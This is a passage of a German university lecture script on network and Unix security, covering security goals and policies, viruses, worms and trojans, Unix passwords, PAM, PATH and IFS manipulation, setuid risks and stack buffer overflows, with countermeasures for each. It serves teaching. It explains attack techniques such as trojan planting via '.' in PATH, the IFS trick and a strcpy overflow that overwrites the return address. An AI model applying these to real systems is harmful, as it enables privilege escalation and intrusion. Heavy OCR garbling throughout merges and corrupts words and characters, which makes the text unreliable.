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Vorwort

Die Frage nach der Sicherheit von Informationssystemen bekommt durch die fortschrei-
tende Vernetzung einen sehr hohen Stellenwert. Dieses Skriptasegthich daher spe-

ziell mit der Sicherheit in vernetzten Systemen. Dabei steht die praktische Anwendung
von Verfahren im Vordergrund, die einen sicheren Umgang mit Informationen in vernetz-

ten Systemen eraglichen. In diesem Sinne ist das Skript nicht etwa einellining in

die Kryptologie und deren kryptographische Verfahren. Vielmehr steht die Anwendung

kryptographischer Verfahren in Protokollen und Werkzeugen im Vordergrund der Betrach-
tungen.

Das vorliegende Dokument ist aus Vorlesungen mit dem T&atherheit in Netzen und
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Kehne, Ulrich Flegel und Olaf Schnapauff.
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danke ich auBerdem ganz besonders meinem Kollegen Frank Straul3.

Bedanken riachte ich mich auch bei Frau Prof. Bettina Schnor, die eifibgr\Version
dieses Skriptsiir eine entsprechende Vorlesung and der Univ@rsibtsdam benutzt hat.
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worden.

Jurgen Scbhnwalder
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Kapitel 1

EinfUhrung

Informationssicherhei@l3t sich in folgende Aspekte zerlegen:

¢ Rechnersicherheit
Schutz der Informationen innerhalb eines Rechensystems.

Kommunikationssicherheit

Schutz der Informationenahrend detJbertragung zwischen einem oder mehreren
Rechensystemen. Dies beinhaltet auch den Schutz gegen die Bekanntgabe, dafl3 eine
Kommunikation stattgefunden hat.

1.1 Ziele der Informationssicherheit

e \ertraulichkeit
Informationen werden nur autorisierten Personeramgtich gemacht.

e Integritat:
Integritat stellt die Konsistenz von Daten sicher. Nicht autorisierte Zugriffe (Erzeu-
gen, Modifizieren, Bbschen von Daten) werden verhindert.

e \erfugbarkeit
Legitime Benutzer drfen beim Zugang zu Betriebsmitteln und Daten nicht behindert
werden.

e Legitime Nutzung
Schutz der Betriebsmittel und Daten vor Benutzung durch nicht autorisierte Personen
oder in nicht autorisierter Art und Weise.

1.2 Sicherheitsrichtlinien

Sicherheitsrichtlinien (security policies) sind ein Regelwerk, das den sicheren Umgang mit
Informationen und den informationsverarbeitenen Systemen in einer Organisation festlegt.
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Alle Personen in einer Organisatioriissen diese Richtlinien kennen und sich an sie halten.
Dies betrifft insbesondere auch die Beschaffung, die Konfiguration undlakewachung
von Rechensystemen und Kommunikationseinrichtungen.

Prozel3modell zur Erstellung und Umsetzung von Sicherheitsrichtlinien:

[ —

Aufstellung zu schtzender Posten.

. Katalogisierung der fglichen Bedrohungen.

. Bestimmung der Wahrscheinlichkeiten der festgestellten Bedrohungen (Risikoana-

lyse).

. Implementierung von Schutzmafnahmen, die in einem angemessenen Preis- und

Leistungsverhltnis stehen.

. Beobachtung des Prozesses Ulbrarbeitung der Sicherheitsrichtlinien bei erkann-

ten Mangeln oder Vaénderungen der Rahmenbedingungen (insbesondere der einge-
setzten Technologien oder der Organisationsstruktur).

Komponenten von Sicherheitsrichtlinien:

Beschaffungsrichtlinielegen fest, welche Sicherheitseigenschaften bei Beschaffun-
gen zu belicksichtigen sind.

Vertraulichkeitsrichtlinierbeschreiben, welche Erwartungen bglich der Vertrau-
lichkeit von Daten gemacht werdefirden.

Zugriffsrichtlinien definieren grundlegende Zugriffsrechte zur vorhandenen Infra-
struktur, typischerweise unterteilt nach verschiedenen Klassen von Personen in einer
Organisation.

Uberwachungsrichtliniedefinieren, welche MaRnahmen zillverwachung der Um-
setzung der Sicherheitsrichtlinien getroffen werdedrssen.

Authentifizierungsrichtlinietegen fest, welche Verfahren und Technologien zur Au-
thentifizierung eingesetzt werden und nach welchen Richtlinien beispielsweise Pass-
worte zu wahlen sind.

Verfugbarkeitsrichtlinienegen grundatzliche Anforderungen an die Végbarkeit
von Informationen und die verarbeitenden Systeme fest.

Wartungsrichtliniendefinieren, wie Wartungsarbeiten durchiufen sind und wie
internes und externes Wartungspersonal Zugriff auf Systeme und Datdn erh

Benachrichtigungsrichtliniebestimmen, welche Verletzungen der Sicherheitsricht-
linien gemeldet werden éissen und wellir die Behebung der Sicherheitsverletzung
zustindig ist.



1.3 Sicherheitsdienste

Grundlegende Sicherheitsdienste:

1. Authentifizierungrersichert die Identét einer Person oder eines Systems. Prinzipi-
elle Methoden:

(a) Bestimmtes Wissen (z.B. Pal3worte, PIN)

(b) Bestimmter Gegenstand (z.B. Siassel, Smartcard)

(c) Unvetanderliche Charakteristike (z.B. Retina, Fingerabdruck)
(d) Bestimmter Ort

(e) Authentifizierung durch eine dritte glauiwdige authentifizierte Partei

2. Zugriffskontrolleschitzt gegen illegitime Benutzung, nicht autorisierte Eiitimg,
illegitime Modifikation bzw. Vernichtung von Daten oder Betriebsmitteln.

e Willktirliche Zugriffskontrolle
Subjekte besitzen die Objekte, die sie erzeugt haben. Subjekte sind in der Lage,
die Zugriffserlaubnis auf andere Subjekte zu erweitern.

¢ Obligatorische Zugriffskontrolte
Zugriffsrechte werden a priori auf der Basis von Festlegungen bestimmt. Sub-
jekte kbnnen die Zugriffserlaubnis auf Objekte nur im Rahmen bestimmter Re-
geln modifizieren.

Typen von Zugriffskontrollsystemen:

(a) Identitatsbasierte Zugriffskontrolle
Erlaubt oder verweigert explizit definierten Subjekten den Zugriff auf Objekte.

(b) Rollenbasierte Zugriffskontrolie
Subjekten werden Rollen zugeordnet, anhand déver die Zugriffserlaubnis
entschieden wird. Achtung: Kombinationen von Rollen sindagdich.

(c) Multi-level Zugriffskontrolle
Objekte werden Sicherheitsstufen zugeordnet @tntlich, sensitiv, geheim,
streng geheim). Subjekte erhalten Zugriffserlaubnis bis zu einer bestimmten
Sicherheitsstufe.

3. Vertraulichkeitverhindert die nicht autorisierte Offenbarung von Informationen (Exi-
stenz von Daten, ®Re und Umfang von Daten, Inhalt der Daten, dynamisches Ver-
halten von Daten).

4. Datenintegritit schitzt vor nicht autorisierter Modifikation, Vernichtung oder Erset-
zung von Daten.

5. Unwiderrufbarkeitverhindert, daf? ein Kommunikationspartner das Stattfinden einer
Kommunikation leugnen kann oder ein Kommunikationspartner Behaupten kann,
dal3 eine nicht erfolgte Kommunikation stattgefunden hat.
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Neben diesen Diensten werden gelegentlich in speziellen Anwendungsgebieten weitere
Sicherheitsdienste (z.B. die Aktuditvon Informationen) gefordert.

1.4 Organisationen
Es gibt eine ganze Reihe von Organisationen, die relevante Informationen bereitstellen:

e DasComputer Emergency Response Tesammelt Informationeiiber Sicherheits-
lucken und vaiffentlicht MaRnahmen zur Beseitigung von Sicherhidkeén.

e DasBundesamtiir Sicherheit in der Informationstechrgibt neben aktuellen Infor-
mationen auch das IT-Grundschutzhandbuch heraus, das alle wesentlichen Informa-
tionen zur Informationssicherheitibdelt und insbesondere auch wertvolle Hinweise
zur baulichen Infrastruktur und zur personellen Organisation gibt.

e DasNational Institute of Standards and Technolaigr USA hat entscheidenden
EinfluR auf die Standardisierung von Verdggdelungsalgorithmen.

Literaturhinweise

Grundlegende Informationen zu den Zielen der Informationssicherheit findet m2ii.in [
Einen gutenUberblick findet man auch inlp|]. Ein eher praktisch angelegtes Buch mit
einem Schwerpunkt auf Internet Protokolle S0

RFC 2196 2] beschreibt Grundlageruf Sicherheitsrichtlinien im Internet und richtet
sich vorwiegend and Systembetreiber. RFC 2584} fichtet sich speziell an Endnutzer
und entfalt viele wertvolle Hinweise, wie sich Endnutzer &tren ldnnen und zu einem

sicheren Betrieb der Infrastruktur beitrageimken.


http://www.cert.org/
http://www.bsi.de/
http://www.nist.gov/

Kapitel 2

Viren, W Urmer, Trojanische Pferde

2.1 Viren

Viren sind Programmfragmente, diger Wirtsprogramme unbemerkt in Rechensysteme
gelangen und sich dort ausbreiten. Durchdieertragung voninfizierten* Programmen
auf andere Rechensysteme breiten sich diese Viren aus.

procedure virus
begin
int identification = 4711; \ Viruskennung

<find a programfile which is not yet infected>
i f <program found> then

<copy virus into programfile>
fi

Infektionsteil

i f <outbreak condition> then
<nodi fy systenp Schadensteil

fi

<junmp to original main>
end

Abbildung 2.1: Prinzipieller Aufbau eines Virus
Gegenmalinahmen:

¢ Antivirusprogramme entdecken Viren (z.B. an der Kennung) und entfernen den Vi-
rus, indem die originale Einsprungadresse restauriert wird.

e Einschénkung von Schreibrechten an Dateien und insbesondere aithehesfen
Programmen oder Skripten.

e \erschlisselte Speicherung von aukfbaren Programmen, wodurch die Gefahr ei-
ner Infektion auf laufende Programme besatikt wird.
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¢ Regelnalige Kontrolle von etwaigen Vé@nderungen (Infektionen) an aukfbaren
Programmen. Hilfreich ist hieiif die regelnaRige Berechnung von Hashwerten und
deren Vergleich. Die Hashwerterssen natrlich speziell gesichert werden, um sie
vor Veranderungen durch einen Virus zu gtten.

Makro-Viren sind austhrbare Makros, die in Dokumentdateien eingebettet semmén.
Es empfiehlt sich, vor de®ffnen von fremden Dokumenten, die Interpretation von Ma-
kros zu deaktivieren.

Beispiel 1 Der Virus,, Pakistani Brain“ infiziert den Boot-Sektor von MS-DOS Disketten.
Er nistet sich im floppy disc controller ein. Bei einer Leseoperation versucht der Virus
den Boot-Sektor der Diskette zu lesen. Ist der Boot-Sektor noch nicht infiziert, so wird der
Virus in den Boot eingetragen. Einige Versionen des Virus markierétiiguBereiche auf

der Diskette als unbrauchbar, was letztlich daizbirt, dal? die ganze Diskette unbrauchbar
wird.

Beispiel 2 Der,, Jerusalem" Virus infiziert ausihrbare Dateien unter MS-DOS oder Win-
dows (.COM oder .EXE). Der Virus versucht jedes Programm zu infizieren, daf} @uggef
wird. Der Virus zersghrt Informationen im Dateisystem und verbreitet sityer Program-
me, dieliber Disketten ausgetauscht werden.

2.2 Wurmer

Wirmer sind ablaufthige Programme, die sictber Netzwerke verbreiten und Schwach-
stellen der Sicherheitsarchitektur von Systemen oder einfache Programmier- und Admini-
strationsfehler ausnutzen.

Beispiel 3 Der Internet-Wurm wurde 1988 von Robert Morris an der Cornell Univatsit
gestartet. Der Wurm befiel in einer Nacht an verschiedenen Orten 6000 Systeme. Der
Wurm nutzte Schwachstellen in Unix-Systemen aus, um sich zu verbreiten:

e Es wurden Aufig benutzte PalRworte systematisch ausprobiert, um Zugang zu Unix-
Systemen zu bekommen.

e Eswurde ein Angriff auf deiinger  Serverprozel3 versucht, der einen Implementa-
tionsfehler ausnutzte (Speiclieerlauf bei langen Eingaben), um dadurch Zugang
zum System zu bekommen.

o War der Angriff auf derfinger  Serverprozel3 nicht erfolgreich, so wurde ein An-
griff auf densendmail Serverprozel} versucht, wobei man einen Programmierfeh-
ler in einer Option zur Fehlersuche im Serverprozel3 ausnutzte.

e Zusatzlich wurden Vertrauensbeziehungen zwischen Internet-Rechnern ausgenutzt,
um, benachbarte” Systeme zu befallen.
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Beispiel 4 Im Mai 2000 tihrte der WurmlILOVEYOUzum Zusammenbruch der elektro-
nischen Datenverarbeitung in vielen amerikanischen und @uscpen Firmen mit einem
gesclatzten Schaden von 10 Milliarden Euro. DEOVEYOU-Wurm ist eine Visual Ba-

sic Script Datei, die sich als E-mail-Attachment verbreitete. Die E-mail wurde mit der
Subject—ZeildLOVEYOUverschickt. Der Wurm befiel nur Windows—Rechner, da er sich
der Daten aus Windows Outlook bediente, um Mails mit dem Wurm als Attachment an
die in der Addrel3datei gespeicherten Mailadressen zu senden. Der Wurirteesten

des lokalen Dateisystems, u.a. JPEG-Bilder, MP2- oder MP3-Musikdateien oder Videoda-
teien. Schliel3lich untersuchte er die Festplatte nach Pal3worten, um diese Daten an den
Programmierer des Wurms zu verschicken.

Beispiel 5 Am 19 Juli 2001 hat der Wur@ode-Red (CRv2) mehr als 359.000 Computer

in weniger als 14 Stunden befallen — in den aktivsten Zeiten mehr als 2.000 Rechner pro
Minute. 43% der infizierten Rechner waren aus den USA, 11% aus Korea, 5% aus China
und 4% aus Taiwan. Deutsche Rechner waren zu 3% befa@@nDer Wurm nutzt einen
Pufferfiberlauf im Microsoft’s 1IS Web-Server aus. Nachdem ein Web-Server infiziert ist,
generiert er zudllig IP-Adressen und verbreitet sich sofern bei der IP-Adresse ein |IS Web-
Server zu finden ist.

Wiurmer versuchen sich zu verbergen, indem Dateien und Daten versteckt abgelegt werden,
Protokolldateien des Systems &rdert werden, und Programme zur Sysiberwachung
manipuliert werden.

Gegenmalinahmen:

e SchlieRen von allen bekannten Sicherhaitken im System.

¢ Uberpiifung von Dateiveinderungen durch die regeifRige Berechnung von Hash-
werten.

¢ RegelnalRige Auswertung von Protokolldateien.

e Server-Programme, die Netzwerkdienste realisieren, sollten dgtiamst geringen
Rechten und in abgegrenzten Systembereichen oder auf speziellen Rechnern aus-
gefuhrt werden.

2.3 Trojanische Pferde

Ein Trojanisches Pferd ist ein scheinbétzliches Programm, das versteckte Anweisungen
besitzt, um Systeme zu manipulieren oder unerlaubterweise Daten zu sammeln.

Beispiel 6 Im Dezember 1987 verbreitete sich eine EMail Nachricht im BITNET, EARN
und IBM’s internem Netzwerk, die neben reinem Text auch Programmtext enthielt, der
einen Weihnachtsbaum malt. Der Weihnachtsbaum wurde beim Aufruf auithiats ge-

malt. Gleichzeitig verbreitete sich das Programm an alle lokal bekannten EMail-Adressen
des Benutzers.



Beispiel 7 Ende Marz 1998 stellten zwei Siler aus Koln die sogenannten T-Online Po-
wer Tools zur Automatisierung von Verwaltungsaufgaben freiigédr in das Netz. Die
Benutzer wurden gebeten sich bei den Autoren zwecks InformidtenBugs und Up-
dates registrieren zu lassen. Die atdiche Funktionalét der Tools bestand darin, daf3
die Festplatte nach versdselt abgelegten Zugangsdaten des T-Online—Dienstes durch-
sucht wurde und diese bei der Registrierung an die Autal@rmittelt wurden. Die unter
Windows versclilsselten Passivter konnten mittels des frei véigbaren Programmee-
velation  entschilisselt werden.

Trojanische Pferde werden durch die Manipulation von Quellcode erzeugt und durch be-
sondere Eigenschaften angepriesen und verbreitet. In eind@nfkvurden Trojanische
Pferde auch unbemerkt durch die Softwarehersteller selbst verbreitet.

Gegenmalinahmen:

¢ Quelltexte sollten grundgzlich vor schreibenden Zugriffen von nicht autorisierten
Benutzern gesdhzt werden.

e Protokollierung alleiAnderungen am Quelltext und Identifizikation der jeweiligen
Programmierer.

e Prufung und ggf. Offenlegung von Quelltexten.

e AusschlieB3liche Installation und Benutzung von Programmen, die aus vertrauens-
wurdigen Quellen stammen.

e Verwendung von Rifsummen und Signaturen, um Modifikationealwend der Ver-
teilung von Programmen und Quelltexten auszuschliel3en.

Literaturhinweise

Einen guterUberblickiiber Viren, Wirmer und Trojanische Pferde findet man58][ Der
Internet-Wurm wird in 7] und [54] austihrlich beschrieben.



Kapitel 3

Sicherheitsaspekte von Unix-Systemen

3.1 Pal3worte

Der Zugang zu Unix-Systemen ist in der Regel durch Pal3worte gesichert. Einfache Pal3-
wortverfahren sind prinzipiell ein wenig geeignetes Authentifizierungsverfahren, da es in
der Regel einfach ist, PalRworte zu erraten oder von unachtsamen Benutzern durch gezielte
,Beobachtung* zu erhalten.

Eigenschaften des Unix PaR3wortsystems:

e Die Datei/etc/passwd , die die versclilsselten Pal3worte el ist oftmals les-
bar und kann manchmal auch bei det#imertragung im Netz abgén werden. Da-
mit besitzt ein Angreifer die Nglichkeit, die versclilsselten PaRwort@ffline” zu
brechen.

e Gelegentlich werden Softwareprodukte mit vordefinierten Benutzerkennungen und
Standard-Palworten ausgeliefert.

e Unix PalRworte bestehen aus 8 Zeichen (7 Bit ASCII Kodierung), was eine theoreti-
sche Sclhilsselénge von 56 Bit ergibt. Ta&ehlich liefern einfache englische Worte
nur eine Schisselinge von 19 Bit, bei der Benutzung von Sonderzeichen erreicht
man bis zu 40 Bit.

e Die Verschiisselung des PalRworts erfolgt mit einematzlichen Zeichen (salt), das
zufallig vergeben und mit dem versdisiselten Pal3wort gespeichert wird. Das Salz
(salt) bewirkt, daf3 zwei identische PalRworte nicht automatisch zu demselben ver-
schiisselten PalRwortihren.

e Die Ausgabe der Versciselung (eine Variante des DES) wird durch eine nicht-
umkehrbare Abbildung in ASCII konvertiert.

e Attacken sind durch einfaches Raten und das systematische Ausprobieren von Pal3-
worten erfolgreich. Mit Hilfe von SIMD (Single Instruction Multiple Data) Hard-
ware ist es heutzutagedglich, alle noglichen Pal3worte in ca. zwei Tagen auszu-
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probieren. Besclankt man sich auf PaB3worte, die nur aus Buchstaben und Ziffern
bestehen, so ist eine erggiende Suche schon in ca. 2 Stundeigtith.

Gegenmalinahmen:

e Verwendung von guten PalRworten, die Sonderzeichen enthalten, lang genug sind
und nicht einfach zu erraten sind.

¢ RegelnaRigesAndern von PalRworten.

e Einige Unix-Systeme @&nnen die Pal3worte in speziellen Dateien ablegen, so dald
normale Benutzer keinen Zugriff auf die verda$delten Paldworte haben.

e Alternative Benutzerauthentifikation durch Smart-Cards oder amdarliche Merk-
male (z.B. Stimme, Retina).

3.2 Pluggable Authentication Modules (PAM)

Das Konzept der Pluggable Authentication Modules (PAM) wurde entwickelt, um die
Authentifikation von Benutzern und die Verwaltung von Accounts konfigurierbar und er-
weiterbar zu machen, ohne Programme wie loBin , su, ftp , ssh andern zu riissen.

Das PAM-System erlaubt es insbesondere, das normale Unix Pal3wortsystem durch andere
Verfahren zu ersetzen. Die meisten Linux-Systeme uritiziesh die Linux PAM Implemen-

tation (Linux-PAM), zu der etliche austauschbare und konfigurierbare Module existieren.

letc/pam.conf
% «executable»
1
1
1
1

login |
-1 «library»
: : T pam_deny
! 1

1
1
1
1 «library»
«execut abl ep [ )
pam_unix_auth
ssh

Abbildung 3.1: Komponenten des PAM-Systems

_______ _D -
«library»
§ - - «library»
libpam.so " ‘D
pam_allow
_______ _D Ll - - -

Abbildung3.1zeigt die Komponenten der Linux-Pam Implementation. Applikationen wie
z.B.login undssh benutzen didbpam Bibliothek, um die Authentifikation von Be-
nutzern durchzufhren. Dielibpam Bibliothek wiederum liest Konfigurationsdateien
wie z.B./etc/pam.conf um ein bestimmtes Authentifikationsverfahren ausxoien.
Konkrete Authentifikationsverfahren sind als dynamisch ladbare PAM-Module implemen-
tiert.
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PAM-Module kbnnen vier verschiedene Aufgabépernehmen:

1. Authentifikation Module authentifizieren Benutzer indem sie entweder ein Pal3wort
von der Applikation verlangen und verifizieren oder eine andere Authentifikations-
methode realisieren. Diese Modulérinen auch die Gruppenzugelykeit bestim-
men.

2. Account Module kbnnen den Zugang zu einem Account kontrollieren. Sie erledi-
gen keine Authentifizierung sondernijpen andere Restriktionen wie z.B. Uhrzeit,
verflgbare Betriebsmittel, oder die Lokation des Benutzers.

3. SessionModule realisieren Aufgaben, die erledigt werdeissen wenn einem Be-
nutzer Zugriff auf einen Dienst (service) erlaubt wird, wie z.B. die Protokollierung
des Vorgangs oder die Bereitstellung der Benutzerumgebung.

4. Password Module unterditzen die Aktualisierung der Authentifizierungsinforma-
tionen wie z.B. des gespeicherten PalRworts.

Um die Flexibilitat zu erldhen, kbnnen PAM-Module iir verschiedene Applikationen ge-
stapelt werden und auf diese Art und kombiniert werden. AulR3erdemdn PAM-Module

mit modulspezifischen Argumenten versorgt werden. Die einzelnen Module im Stapel
konnen die Abarbeitung des Stapels wie folgt beeinflussen:

e required Das Modul muf3 erfolgreich beendet werden, damit die Aufgabe erfolg-
reich abgeschlossen wird. Wird ein Module nicht erfolgreich beendet, so werden die
nachfolgenden Module trotzdem abgearbeitet. (Dies kann verhindern, dafld Angreifer
aus einem erfolglosen Versuch Sasge ziehendnnen.)

e requisite Das Modul muf3 erfolgreich beendet werden, damit die Aufgabe erfolg-
reich abgeschlossen wird. Wird ein Module nicht erfolgreich beendet, so wird der
Vorgang sofort abgebrochen. Dies kariftalich sein, um digJbertragung eines
Pallwortdiber einen unsicheren Kanal zu unterbinden.

¢ sufficient Das Module schliel3t die aktuelle Aufgabe erfolgreich ab, sofern es erfolg-
reich beendet wird und alle vorher im Stapel liegende Module erfolgreich bestanden
wurden. Nachfolgende Module werden in diesem Fall nicht mehr betrachtet.

e optional Das Modul ist fir den erfolgreichen oder erfolglosen Abschluld der Aufga-
be nicht relevant.

Eine Konfiguration in/sec/pam.conf fur das Programniogin , die das klassische
Unix-Verhalten nachbildet, sieht folgendermal3en aus:

login auth required /usr/lib/security/pam_unix_auth.so
login account  required /usr/lib/security/pam_unix_acct.so
login password required /usr/lib/security/pam_unix_passwd.so
login  session required /usr/lib/security/pam_unix_session.so

11



Eine Konfiguration fir einen FTP-Serverdante folgendermal3en aussehen:

ftpd auth sufficient /usr/lib/security/pam_ftp.so

ftpd auth required lusr/lib/security/pam_unix_auth.so \
use_first_pass
ftpd auth required lusr/lib/security/pam_listfile.so \

onerr=succeed item=user \
sense=deny file=/etc/ftpusers

Zunachst wird auf einen anonymen FTP-Zugang getested. Wird der Test nicht bestanden,
dann wird auf ein Unix-Palwort getested (ohne das PalRwort erneut zu erfragen). Fall
der Test erfolgreich ist, wird gejit ob der Benutzername in der Datetc/ftpuser

vorhanden ist. Abbildung.2 stellt die Logik dieses Beispiels als Zustandsdiagramm dar.

Abbildung 3.2: Authentifizierung eines FTP-Zugangs mit PAM

3.3 Umgebungsvariablen und Kommandointerpreter

Das Verhalten von Unix-Programmegldt sich oftmals durch sogenannte Umgebungsva-
riablen (environment variables) beeinflussen. Eine unachtsame Wahl oder gezielte Mani-
pulation von Umgebungsvariablen kann ernste Sicherheitsrisiken erzeugen:

e UmgebungsvariableATH
Unix-Kommandointerpreter suchen aillsfbare Dateien in allen Verzeichnissen, die
in der UmgebungsvariablRATHaufgelistet sind. Beinhaltet die Umgebungsvaria-
ble PATH Verzeichnisse, die nicht vertrauensaig sind (d.h. in denen beliebige
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Benutzer schreibenidfen), dann kann ein Angreifer dort leicht Trojanische Pferde
unterbringen.

Wenn die Umgebungsvariab®ATHden Punkt enthalt, dann kann von einem An-
greifer in einem allgemein schreibbaren Verzeichnis (Z#iBp ) ein austihrbares

Is Kommando angelegt werden. Ein Kommandointerpreter eines ahnungslosen Be-
nutzers wird dann beim Wechsel in dieses Verzeichnis automatisch dadsneue
Kommando austhren.

e Umgebungsvariabl&-S :
Die Umgebungsvariabl&é=S (input field separator) kontrolliert bei vielen Kom-
mandointerpretern, welche Begrenzungszeichen benutzt werden, um eine Eingabe
in mehrere Worte zu zerlegen. Durch das SetzenlF@nauf/ wird aus dem Kom-
mando/bin/date  das Kommanddin mit dem Argumentate .

Unix-Kommandointerpreter werderabfig benutzt, um festgelegte Befehlsfolgen (soge-
nannte Skripte) abzuarbeiten. Bei der Erstellung solcher Skripte ist es sehr wichtig, daf3
die Umgebungsvariablen selbst gesetzt werden, um sichogartigeriJberraschungen zu
schitzen.

Generell ist davor zu warnen, Skript-Dateien mit speziellen Rechtenitabsir zu ma-

chen. Sogenanngetuid -Skripte, die mit den Rechten desjenigen Benutzers aubdgef
werden, der sie installiert hat, sind oftmals unsicher, da man durch geeignete MaRnahmen
einen Abbruch erzwingen kann, bei dem dann ein beliebiges Kommando unter den Rechten
des Besitzers desetuid -Skripts ausgefhrt wird.

3.4 Dateien und Dateirechte

Die Sicherheit eines Unix-Systemarigt entscheidend von der sorgsamen Administration
und Uberwachung der Dateirechte ab. Besonders kritisch sindt€sateien/flev ) und
setuid /setgid Dateien. Aber auch die normalen Lese- und Schreibrechte sind wichtig
zur Sicherung der Vertraulichkeit von Daten. Werkzeuge wie CQAPRofder cfengine §]
helfen, konsistente Dateirechte zlbberwachen.

Kritisch sind oft auch symbolische Links, mit denen Angreifer typischerwseteid
Programme auffalschen* Daten arbeiten lassen, um sich dadurch spezielle Rechte zu
verschaffen.

Problematisch sind auch verteilte Dateisysteme, die auf unsicheren Protokollen beruhen
(z.B. NFS) oder inkonsistent administrierte Benutzterkennungen in vernetzten Dateisyste-
men.

3.5 Sicherheitsfeatures

UNIX besitzt allerdings auch einige Sicherheitsfeatures, die allerdings nicht immer konse-
guent genutzt werden:
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e Typischerweise sehr stabile und zuésdige Kernel.
e Begrenzung der veifijbaren Betriebsmittel durdetrlimit()

e Mit Hilfe deschroot()  Systemaufrufs &nnen Prozesse in einem eingegctiten
Dateisystem ausgéiirt werden. Durch die Verwendung vahroot()  konnen
also Sandboxeriif Serverprozesse (z.B. anonymous ftp oder anonymous cvs) ein-

gerichtet werden.
/
%\ chroot()
bin etc lib

bin

Abbildung 3.3: Einsctiainkung der Sicht auf das Unix-Dateisystem

Literaturhinweise

Eine effiziente SIMD-Hardware zum Knacken von Unix-Pal3worten i2@8hijeschrieben
worden. Die Linux-PAM Implementation ist i, 39, 38] beschrieben. Eine Zusammen-
fassung der Linux-PAM Programmierschnittstelle und ein kleines Beispiel findet man in
[18].
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Kapitel 4

Sicherheitsprobleme durch
Programmierfehler

Die meisten Einhiichswerkzeuge nutzen Programmierfehler aus. Viele dieser Program-
mierfehler sind insbesondere dann schwerwiegend, wenn sie in Programmen mit speziellen
Rechten (z.B. UNIX&etuid Programme) auftreten. Die meisten dieser Programmierfeh-
ler sind spezifischifr die Programmiersprache C (bzw. C++) bzw. POSIX Betriebssysteme.
Die folgenden Abschnitte setzen daher ein grundlegendesavielrsis der Programmier-
sprache C voraus.

4.1 Generelle Programmierfehler

4.1.1 \Verletzungen des Prinzips der geringsten Rechte

Programme sollten grundilich so geringe Rechte wiedglich besitzen. Ein &wufiger
Fehler insetuid -Programmen ist die fehlende Abgabe der besonderen Rechte, wenn sie
nicht mehr beitigt werden.

4.1.2 Fehlende Validierung von Eingaben

Eingaben bBnnen oftmals besondere Zeichensequenzen enthadtlekifische Zeichen®),

die insbesondere bei Interpretern zu unerwartetem Verhaiteari lonnen. Im Extremfall

ist es sogar raglich, durch geschickte Eingaben Programme zum Starten von Komman-
dointerpretern zu bewegen. Achtung: Solgakektrischen Zeichen"@&nnen auch in URLs
oder DNS Namen versteckt sein.

Man beachte, dass Eingaben im weiteren Sinne auch aus der Umgebung koammen.k
Dazu geloren Umgebungsvariablen, aberimdith auch die vom erzeugenden Prozess ge-
erbte Umgebung. Es ist also notwendig es@iber&mgebung aufzusetzen (z.B. alle
geerbten Dateideskriptoren explizit zu schlie3en).
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4.1.3 Fehlende Laufzeitfehlerpiifung

Fehlende Tests auf aufgetretene Laufzeitfehilarén zu unvorhergesehenen Programma-
blaufen. Das kanniir Angriffe ausgenutzt werden. Es ist also darauf zu achten, dass f
jeden Systemaufruf entsprechende Fehlertests vorhanden sind und das diese auch funktio-
nieren.

4.2 Pufferiberlaufe

In C-Programme werden oftmals Puffer mit festedGe verwendet um Daten tempozu
speichern. Da die Sprache C Puffergrenzen nicht automatisetpiift, ist es Aufgabe des
Programmierers auf die Einhaltung der Puffergrenzen selbst zu achten. Fehlt eine sorgsa-
me Piifung der Puffergrenzen, s@knen oftmals speziell geformte Eingaben konstruiert
werden, die gezielt Speicherinhalte aul3erhalb des Puffeasdern (buffer overflow) und
dadurch den gesamten Programmabbmdern.

Im folgenden wird das Prinzip von Attacken beschrieben, die durc/dasschreiben von
Puffern auf dem Stack beliebigen Code dilsén konnen (stack smashing, stack-based
buffer overflow). Die Diskussion setzt einen Intel x86 Prozessor mit einem Linux Be-
triebssystem voraus. Entsprechende Attackemahdere Betriebssysteme und Prozessoren
lassen sich aber entsprechend konstruieren.

Beispiel 8 Pufferiberlaufe entstehen oftmals durch die Verwendung von statischen Puf-
fern. Oftmals geschieht der eigentlicbberlauf in Bibliotheksfunktionen:

static void

overflow(char *s)

{
char buffer[16];
f* ... *
strcpy(buffer, s);

}
int
main(int argc, char **argv)
{
char string[256];
memset(string, 'A’, sizeof(string)); /* 'A’ = 0x41 */
string[sizeof(string)-1] = O;
overflow(string);
return O;
}
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Wird die Funktionoverflow() mit einem String aufgerufen, de&hger als 15 Byte

ist, dann kopiertstrcpy  Uber die Puffergrenze hinaus Daten. Da der Puffeffer

auf dem Stack allokiert wurdepknen dabei weitere Daten z&igt werden. Bei eini-

gen Prozessorarchitekturen (wie z.B. der Intel ix86 Familie) beinhaltet der Stack auch die
Rucksprungadresse. Die Alisirung des kleinen Programms auf einer Intel ix86 Platform
liefert entsprechend eingrsegmentation fault* an der Adresse 0x41414141.

Beispiel 9 Gelegentlich sind Pufféberkaufe in weitverbreiteten C-Bibliotheksfunktionen
versteckt:

char s[100], *p;
r* ¥

gets(s);

sprintf(s, "%s", p);

ANSIgets() undsprintf() Uberprifen die Gbl3e von s nicht. Die dsung ist die
Verwendung von Ersatzfunktionen igets()  undsnprintf() sofern veriigbar.

Beispiel 10 Es gibt oftmals auch nicht offensichtliche Fehler in Schleifen die Eingaben
lesen:

char line[80];

char *sp;

int c;

* .*

sp = ling;

do {
c = getc(inf);
*Spt++ = C;

} while ((c '= '\n’) && (c != EOF));

4.2.1 Intel ix86 Stacks und Prozeduraufrufe

Im folgenden wird beschrieben, wie bei den Intel ix86 Prozessoren der Stack verwaltet
wird und ein Prozeduraufruf aolift.

e Die Intel ix86 Prozessorfamilie benutzt einen Stack, der von déeten Speicher-
adressen in Richtung der niedrigeren Speicheradressensiv

e Beim Prozeduraufruf werden zuerst die Parameter auf den Stack kopiert. Anschlie-
Rend wird der aktuelle Befehighler (instruction pointer, IP) alsiRksprungadresse
auf den Stack kopiert bevor der aktuelle Framepointer auf dem Stack abgelegt wird.
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bottom of stack

Stackbereich C (4 Byte)
(stack region) b (4 Byte)
a (4 Byte)

instruction pointer (4 Byte)

frame pointer (4 Byte)
bufferl (40 Bytes)

T buffer2 (48 Bytes)

Datenbereich
(data region)

Programmtext

(text region)

0x00000000

Abbildung 4.1: Intel ix86 Stacklayout und Prozeduraufrufe

o SchlieRlich wird Platziir die lokalen Variablen der Prozedur auf den Stack reser-
viert.

e Beim Ricksprung aus einer Prozedur wird der Befehlder und der aktuelle Fra-
mepointer aus den im Stack gesicherten Daten restauriert.

Abbildung4.1 zeigt die Speicheraufteilung eines Linux-Prozesses auf einem ix86 Prozes-
sor. Der linke Teil zeigt den Stackinhalt nach Aufruf der folgenden C Funktion:

static void
function(int a, int b, int c)
{
char bufferl[25];
char buffer2[40];

